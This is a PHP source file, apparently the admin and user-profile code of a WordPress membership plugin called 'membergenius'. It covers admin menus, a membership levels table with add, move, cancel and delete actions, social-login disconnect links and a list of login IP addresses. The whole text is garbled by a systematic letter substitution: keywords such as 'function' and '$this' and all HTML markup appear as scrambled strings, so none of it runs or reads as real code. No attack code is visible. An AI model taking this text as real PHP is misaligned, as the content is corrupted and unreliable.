Surzrlm_uxsv = zBm_qBotFuxsv(Surzrlm_qFzB)U } BunB { Surzrlm_uxsv = sluuU } Smyxn-QzmUFCC_orrm_tBsl(QplrmU3BtEBo 9BsxlnQplrmU, QplrmUtBtEBozBsxlnQplrmU, Smyxn-QzmUmFE4xsv())U Smyxn-QzmUFCC_nlE_tBsl(QplrmUcFnyErFoCQplrmU, Smyxn-QzmUmFE4xsv(), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_CFnyErFoCQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmU$BmmxsznQplrmU, Smyxn-QzmUmFE4xsv(QplrmUnBmmxsznQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_nBmmxsznQplrmU )U xA (SsrstBtEBo_uxsv) { Smyxn-QzmUFCC_nlE_tBsl(QplrmUQFtqUsEnqUQFtqUsEnqU !xBj 2rs-3BtEBo 0FzBQplrmU, SsrstBtEBo_uxsv, QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_srstBtEBo_uxsvQplrmU )U } xA (Surzrlm_uxsv) { Smyxn-QzmUFCC_nlE_tBsl(QplrmUQFtqUsEnqUQFtqUsEnqU !xBj 4rz-1lm 0FzBQplrmU, Surzrlm_uxsv, QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_urzrlm_uxsvQplrmU )U } Smyxn-QzmUFCC_nlE_tBsl(QplrmU3BtEBonQplrmU, Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_tBtEBonQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmU4BkBunQplrmU, Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_uBkBunQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmUdrsmBsmQplrmU, Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_DrsmBsmQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmU0FhtBsmnQplrmU, Smyxn-QzmUmFE4xsv(QplrmUqFhtBsmnQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_qFhtBsmnQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmUflmroBnqrsCBoQplrmU, Smyxn-QzmUmFE4xsv(QplrmUFlmroBnqrsCBoQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_FlmroBnqrsCBoQplrmU)U Smyxn-QzmUFCC_nlE_tBsl(QplrmU$rDxFuQplrmU, Smyxn-QzmUmFE4xsv(QplrmUnrDxFuQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_nrDxFuQplrmU)U } AlsDmxrs FCC_orrm_tBsl(SsFtB, SxC, SyoBA = af4$b) { zurEFu Sjq_FCtxs_EFoU xA ( Vxn_nlqBo_FCtxs() || Vxn_FCtxs_EFo_nyrjxsz() ) oBmlosU Sjq_FCtxs_EFo-QzmUFCC_tBsl( FooFh( QTPMGUxCQTPMGU =QzmU SxC, QTPMGUtBmFQTPMGU =QzmU FooFh(), QTPMGUmxmuBQTPMGU =QzmU SsFtB, QTPMGUyoBAQTPMGU =QzmU SyoBA ) )U } AlsDmxrs FCC_nlE_tBsl(SsFtB, Suxsv, Sorrm_tBsl, SxC, StBmF = af4$b) { zurEFu Sjq_FCtxs_EFoU xA ( V xn_nlqBo_FCtxs() || V xn_FCtxs_EFo_nyrjxsz() ) oBmlosU Sjq_FCtxs_EFo-QzmUFCC_tBsl( FooFh( QTPMGUqFoBsmQTPMGU =QzmU Sorrm_tBsl, QTPMGUxCQTPMGU =QzmU SxC, QTPMGUmxmuBQTPMGU =QzmU SsFtB, QTPMGUyoBAQTPMGU =QzmU Suxsv, QTPMGUtBmFQTPMGU =QzmU StBmF ) )U } qlEuxD AlsDmxrs tFhEB	BCxoBDm() { xA (xnnBm(S_	b&;b$#[QplrmUjq_ymmq_oBABoBoQplrmU]) QFtqUQFtqU nmoqrn(S_	b&;b$#[QTPMGUjq_ymmq_oBABoBoQTPMGU], QplrmUtBtEBozBsxlnQplrmU) V== af4$b) { jq_oBCxoBDm(Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } xA (xnnBm(S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU])) { jq_oBCxoBDm(Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } } qlEuxD AlsDmxrs FCtxs_xsxm() { xA (VxnnBm(S_	b&;b$#[QplrmUqFzBQplrmU])) { oBmlosU } xA (nmoqrn(S_	b&;b$#[QplrmUqFzBQplrmU], qulzxs_EFnBsFtB(__a74b__)) === AFunB) { oBmlosU } jq_BsplBlB_nDoxqm(QTPMGUwplBohQTPMGU)U Smyxn-QzmUmyxDvEri()U } qlEuxD AlsDmxrs tBmF_EriBn() { xA (VAlsDmxrs_Bixnmn(QplrmUFCC_tBmF_EriQplrmU)) { oBmlosU } FCC_tBmF_Eri(QTPMGUtBtEBozBsxln-tBmFQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, FooFh(QFtqUSmyxn, QplrmUtBmFQplrmU), QplrmUqrnmQplrmU, QplrmUnxCBQplrmU, QplrmUyxzyQplrmU)U FCC_tBmF_Eri(QTPMGUtBtEBozBsxln-tBmFQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, FooFh(QFtqUSmyxn, QplrmUtBmFQplrmU), QplrmUqFzBQplrmU, QplrmUnxCBQplrmU, QplrmUyxzyQplrmU)U } qlEuxD AlsDmxrs uxsvn(Suxsvn, SAxuB) { xA (SAxuB == qulzxs_EFnBsFtB(__a74b__)) { FooFh_lsnyxAm(Suxsvn, QTPMGUQumUF yoBA=QplrmUrqmxrsn-zBsBoFu.qyqWqFzB=QTPMGU.SAxuB.QTPMGUQplrmUQzmU$BmmxsznQumU/FQzmUQTPMGU)U } oBmlos SuxsvnU } qlEuxD AlsDmxrs uxsvn_lsoBzxnmBoBC(Suxsvn, SAxuB) { xA (SAxuB == qulzxs_EFnBsFtB(__a74b__)) { FooFh_lsnyxAm(Suxsvn, QTPMGUQumUF yoBA=QplrmUrqmxrsn-zBsBoFu.qyqWqFzB=QTPMGU.SAxuB.QTPMGUQplrmUQzmU	BzxnmBoQumU/FQzmUQTPMGU)U } oBmlos SuxsvnU } qlEuxD AlsDmxrs qorAxuB(SlnBo) { zurEFu StBtEBozBsxlnU xA (VDlooBsm_lnBo_DFs(QTPMGUFCtxsxnmoFmroQTPMGU)) { oBmlosU } xA (xnnBm(S_9b#[QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU])) { xA (S_9b#[QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU] == QplrmUAFDBErrvQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUnrDxFu_AFDBErrvQplrmU, sluu)U } xA (S_9b#[QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU] == QplrmUzrrzuBQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUnrDxFu_zrrzuBQplrmU, sluu)U } } SqorAxuB_lou = FCtxs_lou(QplrmUlnBo-BCxm.qyqWlnBo_xC=QplrmU.SlnBo-QzmU7c)U SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo-QzmU7c)U SFuu4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U Surzxsaxonm = xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUurzxsaxonmQplrmU))U Surzxsn = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUurzxsnQplrmU)U xA (Vxn_FooFh(Surzxsn)) { Surzxsn = FooFh()U } Fonrom(Surzxsn)U SnBplBsmxFu4xsv = FCC_plBoh_Foz(FooFh(QTPMGUqFzBQTPMGU=QzmUqulzxs_EFnBsFtB(__a74b__).QTPMGU-uBkBunQTPMGU, QTPMGUtBtEBozBsxln_FDmxrsQTPMGU=QzmUQTPMGUlqzoFCBQTPMGU), FCtxs_lou(QTPMGUFCtxs.qyqQTPMGU))U SnrDxFu_AFDBErrv = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUnrDxFu_AFDBErrvQplrmU)U SnrDxFu_zrrzuB = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUnrDxFu_zrrzuBQplrmU)U WQzmUY       QumUCxk xC=QplrmU3BtEBo9Bsxln;nBo0orAxuBQplrmUQzmUY       QumUyMQzmU3BtEBo 9BsxlnQumU/yMQzmUYY       QumUV-- $rDxFu xsmBzoFmxrs --QzmUY       QumUWqyq xA (SnrDxFu_AFDBErrv || SnrDxFu_zrrzuB): WQzmUY       QumUqQzmUY         QumUEQzmU$rDxFu xsmBzoFmxrs:QumU/EQzmUY         QumUWqyq xA (SnrDxFu_AFDBErrv): WQzmUQumUEo /QzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.AFDBErrv.Drt/QumUWqyq BDyr ymtuBsmxmxBn(SnrDxFu_AFDBErrv)U WQzmUQplrmUQzmUaFDBErrvQumU/FQzmU QumUF yoBA=QplrmUQumUWqyq BDyr FCC_plBoh_Foz(FooFh(QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU=QzmUQplrmUAFDBErrvQplrmU), SqorAxuB_lou)U WQzmUQplrmUQzmU(CxnDrssBDm)QumU/FQzmUQumUWqyq BsCxAU WQzmUY         QumUWqyq xA (SnrDxFu_zrrzuB): WQzmUQumUEo /QzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://quln.zrrzuB.DrtQplrmUQzmU9rrzuBQumU/FQzmUQumU/EQzmU QumUF yoBA=QplrmUQumUWqyq BDyr FCC_plBoh_Foz(FooFh(QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU=QzmUQplrmUzrrzuBQplrmU), SqorAxuB_lou)U WQzmUQplrmUQzmU(CxnDrssBDm)QumU/FQzmUQumUWqyq BsCxAU WQzmUY       QumU/qQzmUY       QumUWqyq BsCxAU WQzmUYY       QumUCxk Fuxzs=QplrmUuBAmQplrmUQzmU QumUV-- trkB mFEuB mr myB uBAm --QzmUY         QumUmFEuB DuFnn=QplrmUArot-mFEuBQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY             QumUmyBFCQzmUY             QumUmoQzmUY               QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUEQzmU4BkBuQumU/EQzmUQumU/myQzmUY               QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUEQzmU#oFsnFDmxrs 7cQumU/EQzmUQumU/myQzmUY               QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUEQzmU$lEnDoxEBCQumU/EQzmUQumU/myQzmUY               QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmU jxCmy:NPPqiUQplrmUQzmUQumUEQzmUcFmB fCCBC mr 4BkBuQumU/EQzmUQumU/myQzmUY               QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUsrEoQzmUQumUEQzmUcFhn rs 4BkBuQumU/EQzmUQumU/srEoQzmUQumU/myQzmUY               QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUsrEoQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr SnBplBsmxFu4xsvU WQzmUQplrmUQzmU$BplBsmxFu ;qzoFCBQumU/FQzmUQumU/EQzmUQumU/srEoQzmUQumU/myQzmUY             QumU/moQzmUY             QumU/myBFCQzmUYY             Y             QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY             QumUWqyqY SmBimcBDroFmxrs = (SuBkBu-QzmUuBkBu_nmFmln == QplrmUfQplrmU) W QplrmUsrotFuQplrmU : QplrmUuxsB-myorlzyQplrmUU SuBkBufCC = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmUuBkBu_xC, QplrmUFCCQplrmU)U SuBkBu3rkB = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmUuBkBu_xC, QplrmUtrkBQplrmU)U SuBkBucBuFh = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmUuBkBu_xC, QplrmUCBuFhQplrmU))U SuBkBucFmBcBuFh = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmUuBkBu_xC, QplrmUCFmBcBuFhQplrmU))U SuBkBubiqxoB = SuBkBu-QzmUuBkBu_BiqxoFmxrsU SuBkBufDmxrs = sluuU SuBkBu#r = sluuU xA (SuBkBufCC QFtqUQFtqU xnnBm(SFuu4BkBun[SuBkBufCC])) { SuBkBufDmxrs = QplrmUfCCQplrmUU SuBkBu#r = SFuu4BkBun[SuBkBufCC]-QzmUuBkBu_sFtBU } xA (SuBkBu3rkB QFtqUQFtqU xnnBm(SFuu4BkBun[SuBkBu3rkB])) { SuBkBufDmxrs = QplrmU3rkBQplrmUU SuBkBu#r = SFuu4BkBun[SuBkBu3rkB]-QzmUuBkBu_sFtBU } SCFhn1s4BkBu = StBtEBozBsxln-QzmUtrCBu-QzmUmxtBnmFtq#rcFhn(SuBkBu-QzmUuBkBu_CFmB)U SlqzoFCBcFhn4BAm = PU SlqzoFCBb#f = sluuU xA (SuBkBucFmBcBuFh) { SlqzoFCBcFhn4BAm = tFi(P, StBtEBozBsxln-QzmUtrCBu-QzmUmxtBnmFtq#rcFhn(SuBkBucFmBcBuFh) * -O)U SlqzoFCBb#f = CFmB(QplrmU3 CQplrmU, SuBkBucFmBcBuFh)U } BunBxA (SuBkBucBuFh) { SlqzoFCBcFhn4BAm = tFi(P, SuBkBucBuFh - SCFhn1s4BkBu)U SlqzoFCBb#f = CFmB(QplrmU3 CQplrmU, nmomrmxtB(SuBkBu-QzmUuBkBu_CFmB) + (HJLPP*SuBkBucBuFh))U } BunB { SlqzoFCBcFhn4BAm = PU } SBiqxoBcFhn4BAm = tFi(P, SuBkBubiqxoB - SCFhn1s4BkBu)U SBiqxoBb#f = CFmB(QplrmU3 CQplrmU, nmomrmxtB(SuBkBu-QzmUuBkBu_CFmB) + (HJLPP*SuBkBu-QzmUuBkBu_BiqxoFmxrs))U WQzmUY             QumUmoQzmUY               QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUY                  QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_uBkBu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU kFulB=QplrmUOQplrmU /QzmUY                  QumUF nmhuB=QplrmUmBim-CBDroFmxrs:QumUWqyq BDyr SmBimcBDroFmxrsU WQzmUUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQFtqUu=QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmUQplrmUQzmUQumUnmorszQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/nmorszQzmUQumU/FQzmUY               QumU/mCQzmUY               QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUY                  QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_moFsnFDmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU nxgB=QplrmUNPQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_mis)U WQzmUQplrmU /QzmUY                  QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_moFsnFDmxrs_roxzxsFu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_mis)U WQzmUQplrmU /QzmUY               QumU/mCQzmUY               QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nlEnDoxEBC[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU QumUWqyq DyBDvBC(SuBkBu-QzmUuBkBu_nlEnDoxEBC == O)U WQzmU DuFnn=QplrmUtBtEBozBsxln_nlEnDoxEBCQplrmU /QzmU QumUnqFs DuFnn=QplrmUtBtEBozBsxln_nlEnDoxEBC_uFEBuQplrmUQzmUQumUWqyq BDyr (SuBkBu-QzmUuBkBu_nlEnDoxEBC == O) W Dyo(HG).QplrmUBnQplrmU : QplrmU2rQplrmUU WQzmUQumU/nqFsQzmUQumU/uFEBuQzmUQumU/mCQzmUY               QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUY                  QumUsrEoQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_CFmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_CFmB)U WQzmUQplrmU nxgB=QplrmUNPQplrmU /QzmUQumU/srEoQzmUY                  QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_CFmB_roxzxsFu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_CFmB)U WQzmUQplrmU /QzmUY               QumU/mCQzmUY               QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUsrEoQzmUQumUWqyq BDyr SCFhn1s4BkBuU WQzmUQumU/srEoQzmUQumU/mCQzmUYY               QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUsrEoQzmUY               QumUWqyq xA (SuBkBufDmxrs QFtqUQFtqU (SuBkBucBuFh QzmU P || SuBkBucFmBcBuFh)): WQzmUY               QumUWqyq xA (SuBkBu-QzmUuBkBu_nmFmln == QplrmUdQplrmU): WQzmUQumUnQzmUQumUWqyq BsCxAU WQzmUY               QumUWqyq BDyr SuBkBufDmxrs WQzmU mr 4BkBu QumUxQzmUQumUWqyq BDyr SuBkBu#rU WQzmUQumU/xQzmU YY               QumUWqyq xA (SuBkBucBuFh): WQzmU               Y                  fAmBo QumUxQzmUQumUWqyq BDyr SuBkBucBuFhU WQzmU cFhnQumU/xQzmU Y               QumUWqyq BsCxAU WQzmUYY               (QumUWqyq BDyr SlqzoFCBcFhn4BAmU WQzmU cFhn 	BtFxsxsz: QumUWqyq BDyr SlqzoFCBb#fU WQzmU)Y               QumUWqyq xA (SuBkBu-QzmUuBkBu_nmFmln == QplrmUdQplrmU): WQzmUQumU/nQzmUQumUWqyq BsCxAU WQzmUY               QumUWqyq xA (SuBkBufDmxrs QFtqUQFtqU (SuBkBucBuFh QzmU P || SuBkBucFmBcBuFh) QFtqUQFtqU SuBkBubiqxoB): WQzmUQumUEo /QzmUQumUWqyq BsCxAU WQzmUY               QumUWqyq xA (SuBkBubiqxoB): WQzmUbiqxoB Aort 4BkBu fAmBo QumUxQzmUQumUWqyq BDyr SuBkBubiqxoBU WQzmU cFhnQumU/xQzmU (QumUWqyq BDyr SBiqxoBcFhn4BAmU WQzmU cFhn 	BtFxsxsz: QumUWqyq BDyr SBiqxoBb#fU WQzmU)QumUWqyq BsCxAU WQzmUY               QumUWqyq BsCxAU WQzmUY               QumU/srEoQzmUQumU/mCQzmUY             QumU/moQzmUY             QumUWqyq BsCAroBFDyU WQzmUYY             QumUmoQzmUY               QumUmC DrunqFs=QplrmULQplrmU Fuxzs=QplrmUDBsmBoQplrmUQzmUY                  QumUxsqlm mhqB=QplrmUnlEtxmQplrmU sFtB=QplrmUnlEtxmQplrmU xC=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs Elmmrs-qoxtFohQplrmU kFulB=QplrmU;qCFmB ;nBoQplrmUQzmUY                  QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_qFnnjroCQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$BsC 	BnBm 0FnnjroC 4xsv mr 3BtEBoQplrmU /QzmUY                  Y                  Y                  QumUEo /QzmUQumUEo /QzmUYY                  QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_uBkBunQplrmU xC=QplrmUtBtEBozBsxln_uBkBunQplrmUQzmUY                  QumUrqmxrs kFulB=QplrmU-QplrmUQzmU4BkBun...QumU/rqmxrsQzmUY                  QumUWqyq AroBFDy (SFuu4BkBun Fn SuBkBu): WQzmUY                  QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY                  QumUWqyq BsCAroBFDyU WQzmUY               QumU/nBuBDmQzmUYY               QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_FCCQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUfCC mr 4BkBuQplrmU /QzmUY               QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_trkBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU3rkB mr 4BkBuQplrmU /QzmUY               QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_oBtrkBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU	BtrkB Aort 4BkBuQplrmU /QzmUY               QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_DFsDBuQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUdFsDBu Aort 4BkBuQplrmU /QzmUY               QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_lsDFsDBuQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU;sDFsDBu Aort 4BkBuQplrmU /QzmUY               QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU nmhuB=QplrmUEFDvzorlsC-Druro:oBC VxtqromFsmUQplrmU kFulB=QplrmUcBuBmB 3BtEBoQplrmU rsDuxDv=QplrmUoBmlos DrsAxot(QTPMGUfoB hrl $;	b hrl jFsm mr CBuBmB myxn tBtEBoW\s\s#yxn FDmxrs DFssrm EB lsCrsB.\s\s0oBnn 15 mr DrsmxslB, dFsDBu mr nmrq.QTPMGU)UQplrmU /QzmUQumUEo /QzmUQumUEo /QzmUYY               QumUWqyqY xA (SlnBo-QzmUAxonm_sFtB) { Surzxsfn = SlnBo-QzmUAxonm_sFtB . QplrmU QplrmU . SlnBo-QzmUuFnm_sFtBU } BunB { Surzxsfn = SlnBo-QzmUlnBo_urzxsU } WQzmUY               Y               QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_xtqBonrsFmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU4rzxs fn QumUWqyq BDyr ymtuBsmxmxBn(Surzxsfn)U WQzmUQplrmU rstrlnBrkBo=QplrmUmyxn.kFulB=QTPMGU4rzxs fn QumUWqyq BDyr ymtuBsmxmxBn(Surzxsfn)U WQzmU (jxuu urz hrl rlm rA myxn FDDrlsm)QTPMGUQplrmU rstrlnBrlm=QplrmUmyxn.kFulB=QTPMGU4rzxs fn QumUWqyq BDyr ymtuBsmxmxBn(Surzxsfn)U WQzmUQTPMGUQplrmU /QzmUY               QumU/mCQzmUY             QumU/mErChQzmUYY       QumU/mFEuBQzmUY       QumU/CxkQzmU QumUV-- Cxk Fuxzs uBAm nloorlsCxsz mFEuB --QzmUYY       QumUV-- fDmxkxmh Aro myxn lnBo --QzmUY       QumUluQzmUY         QumUWqyq xA (Surzxsaxonm QzmU P): WQzmUQumUuxQzmU	BzxnmBoBC ;nxsz 70: QumUDrCBQzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.xqNurDFmxrs.Drt/QumUWqyq BDyr urszNxq(Surzxsaxonm)U WQzmUQplrmUQzmUQumUWqyq BDyr urszNxq(Surzxsaxonm)U WQzmUQumU/FQzmUQumU/DrCBQzmU rs QumUDrCBQzmUQumUWqyq BDyr CFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, nmomrmxtB(SlnBo-QzmUlnBo_oBzxnmBoBC))U WQzmUQumU/DrCBQzmUQumU/uxQzmUQumUWqyq BsCxAU WQzmUY         QumUWqyq xA (Drlsm(Surzxsn) QzmU P): WQzmUY         QumUWqyq AroBFDy (Surzxsn Fn Surzxs70 =QzmU Surzxs#xtB): WQzmUY         QumUuxQzmU4rzzBC 7s ;nxsz 70: QumUDrCBQzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.xqNurDFmxrs.Drt/QumUWqyq BDyr urszNxq(Surzxs70)U WQzmUQplrmUQzmUQumUWqyq BDyr urszNxq(Surzxs70)U WQzmUQumU/FQzmUQumU/DrCBQzmU rs QumUDrCBQzmUQumUWqyq BDyr CFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, Surzxs#xtB)U WQzmUQumU/DrCBQzmUQumU/uxQzmUY         QumUWqyq BsCAroBFDyU WQzmUY         QumUWqyq BsCxAU WQzmUY       QumU/luQzmUY       QumU/CxkQzmU QumUV-- xC 3BtEBo9Bsxln;nBo0orAxuB --QzmUYY       QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY       QumUV--Y       // 3rkB 3BtEBo 9Bsxln qoBABoBsDBn mr myB mrq rA myB qorAxuB qFzBY       w&lBoh(QplrmUT3BtEBo9Bsxln;nBo0orAxuBQplrmU).xsnBomeBAroB(QplrmUyN:AxonmQplrmU)UY       w&lBoh(AlsDmxrs() {Y          // 8FkB mBim sBim mr $lEnDoxEBC DyBDvEri nyrj hBn ro srY          w&lBoh(QplrmU.tBtEBozBsxln_nlEnDoxEBCQplrmU).DuxDv(AlsDmxrs() {Y             kFo kFu = (w&lBoh(myxn).Fmmo(QplrmUDyBDvBCQplrmU)) W QplrmUQumUWqyq BDyr Dyo(HG)U WQzmUBnQplrmU : QplrmU2rQplrmUUY             w&lBoh(myxn).sBim(QplrmU.tBtEBozBsxln_nlEnDoxEBC_uFEBuQplrmU).ymtu(kFu)UY          })UY       })UYY       // --QzmUY       QumU/nDoxqmQzmUY       QumUWqyqY } qlEuxD AlsDmxrs qorAxuB_lqCFmB(SlnBo7c) { zurEFu StBtEBozBsxlnU xA (VDlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { oBmlosU } Sqrnm = S_01$#U SlnBo = xsmkFu(SlnBo7c)U SmoFsnFDmxrsn = FooFh()U SuBkBun = FooFh()U SnlEnDoxEBC = FooFh()U SFuu4BkBun = FooFh()U SCFmB = FooFh()U SCFmB_roxzxsFu = FooFh()U SuBkBun = QplrmUQplrmUU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_moFsnFDmxrsQplrmU])) { SmoFsnFDmxrsn = S_01$#[QplrmUtBtEBozBsxln_moFsnFDmxrsQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_moFsnFDmxrsQplrmU])) { SmoFsnFDmxrsn_roxzxsFu = S_01$#[QplrmUtBtEBozBsxln_moFsnFDmxrs_roxzxsFuQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_CFmBQplrmU])) { SCFmB = S_01$#[QplrmUtBtEBozBsxln_CFmBQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_CFmB_roxzxsFuQplrmU])) { SCFmB_roxzxsFu = S_01$#[QplrmUtBtEBozBsxln_CFmB_roxzxsFuQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SFuu4BkBun = S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]U } xA 